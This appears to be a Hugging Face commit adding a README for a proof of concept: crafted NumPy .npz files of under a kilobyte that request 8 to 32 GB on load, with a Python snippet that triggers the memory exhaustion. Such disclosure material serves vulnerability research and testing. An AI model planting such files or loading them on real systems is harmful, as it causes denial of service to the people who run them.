Upload README.md with huggingface_hub
Browse files
README.md
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# NumPy .npz OOM Denial of Service PoC
|
| 2 |
+
|
| 3 |
+
## Vulnerability
|
| 4 |
+
Memory Exhaustion via Crafted .npz File (CWE-789)
|
| 5 |
+
|
| 6 |
+
## Files
|
| 7 |
+
- `oom_bomb.npz` — 244 bytes, single array requesting 8 GB
|
| 8 |
+
- `oom_multi.npz` — 910 bytes, 4 arrays requesting 32 GB total
|
| 9 |
+
|
| 10 |
+
## Reproduce
|
| 11 |
+
```python
|
| 12 |
+
import numpy as np
|
| 13 |
+
# WARNING: Attempts 8 GB allocation
|
| 14 |
+
data = np.load('oom_bomb.npz')
|
| 15 |
+
arr = data['arr_0'] # Triggers OOM
|
| 16 |
+
```
|